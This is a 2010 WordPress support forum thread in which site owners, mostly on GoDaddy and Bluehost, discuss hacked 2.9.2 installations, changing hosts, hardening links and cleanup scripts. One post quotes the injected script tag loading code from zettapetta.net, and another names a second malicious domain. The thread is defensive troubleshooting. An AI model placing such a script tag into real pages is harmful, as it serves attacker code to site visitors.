2.9.2 site hacked

All the talk here is interesting. I’d be curious to know if there is something which can be done to the site (Such as moving the configuration file into the home directory, and other secure tips) which would prevent this from happening.

My sites have not been infected, but I wonder if perhaps someone could implement every prevention tip here listed and see if it keeps their site from being hacked in the future. If this does keep the site from getting hacked, there may be some hope as to finding out what type of access point the hackers are gaining, and how to prevent it.

Would someone who has had issues with being hacked perhaps be willing to try all of the following tips that they are possibly able to implement?:

Tips:

https://helpdesk.bluehost.com/index.php/kb/article/000511
https://ottopress.com/2009/hacked-wordpress-backdoors/
https://codex.www.ads-software.com/Hardening_WordPress
https://guvnr.com/web/blogging/10-tips-to-make-wordpress-hack-proof/

calvin13,

Did you move to hostmonster. I’ve now got other errors. Not related to this, but I’ve given up the ghost with GD.

No… I’m going to give them another opportunity… but hostmonster is one one of my options if the problem continues…

This morning i have another hacker intrusion in my godaddy account:

Log of wordpress file monitor:

“This email is to alert you of the following changes to the file system of your website
Timestamp: Sun, 23 May 2010 07:21:51 +0200

Added:
jeremias_scene.php”

Problem continues….

It’s a good time to be a concierge web host (which I am). Godaddy seems to be blaming its customers over this, which is outrageous.

calvin13

Well late Friday, Japan time. One of my simple apps decided not to work at all. Even when I ripped it out and installed anew, it failed. A sleep and many hours later GD where next to useless, blaming scripting as ever.

That was pretty much the last straw for me. The laptop and wall took the brunt of my abuse. I bite the bullet.

I moved to hostmonster this morning. All my hosted domains are coming across. Maybe it’s kidology, yet even just doing stuff seems quicker.

I spent 50 minutes with one of their tech guys via LiveChat. He sorted me all out on my new primary domain, fixed my sql import the whole 9 yards.

I’m now a dab hand now at transferring and importing wordpress and sql files.

Still a few more apps to go.

Yet, I couldn’t be happier right now. Despite a very frustrating day. It will be interesting to see what happens now to my moved site, since it isn’t yet live as I have to change the NS records.

wilkies0106aw, Is it possible that Godaddy give back my money? I have 1 year more with them in my hosting account…

Calvin13,

This is what I was told :

If you do not wish to keep your hosting plan, you can cancel at anytime. If you choose to cancel, please respond for a refund of any time remaining. Canceling your hosting account removes all of your website’s files from our servers. Be sure that you have copies of any files you want to keep before you cancel your account.

I’ll be doing so, once all the nameserver changes have gone through

I manage my own VPS server and installed a lot of security features, but still my wp 2.9.2 was hacked. Analyzing http logs I found that within only a few minutes hacker gained access to my admin panel posting something at “wp-login.php?action=lostpassword” page. There must be SQL injection vulnerability that allows hacker to get md5 hash from database or just change it to any he wants.

I hope this will be discovered soon, but for now wordpress firewall plugin saves me.

Hi everybody. My site on bluehost was hacked with Zettapetta on May 18th. Even when I tried running the patch and got to remove all the header injected script, there′s still some code on the footer I can′t find or remove. But that′s not all.
I′m running WordPress Mu and have 9 blogs. All of them had been injected and fortunately got to clean the header script in all of them. But the script on the footer is only present in the main blog.

Here′s what I can′t get to remove… <script src=”https://zettapetta.net/music/indi.php”></script&gt;

As I was saying. That′s all over the main blog placed on https://tallerdanza.com/nuevo (even in https://tallerdanza.com/nuevo/wp-admin/) but not on https://tallerdanza.com/nuevo/ante2/ (or https://tallerdanza.com/nuevo/ante2/wp-admin/)

Can anybody help me fixing this.
Building all up again doesn′t seem like a reasonable solution. We′re talking about a site related to education with tons of users and posts in each blog.

Hopefully some of you might have experienced something similar and will have some quick fix to suggest.

Thanks in advance

Andrés

https://codex.www.ads-software.com/FAQ_My_site_was_hacked
https://www.ads-software.com/support/topic/268083#post-1065779
https://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/
https://ottodestruct.com/blog/2009/hacked-wordpress-backdoors/

arichero: This script automates that for you:

https://blog.sucuri.net/2010/05/simple-cleanup-solution-for-latest.html

Arichero, I had the same problem. The Sucuri script on its own won’t fix it. (You probably knew that already!)

This post fixed it. Doing this combined with the Sucuri fix has cleaned up the problem on all four of my sites.

Errrr, I should probably add the post link:

https://www.danielansari.com/wordpress/2010/05/holasionwebcom/

Happened today again at GoDaddy.

This time pointing to: https:// cloudisthebestnow.com / kp.php

Details: https://blog.sucuri.net/2010/06/godaddy-sites-hacked-with-cloudisthebestnow.html
https://sucuri.net/malware/entry/MW:MROBH:2

The script still works:
https://blog.sucuri.net/2010/05/simple-cleanup-solution-for-latest.html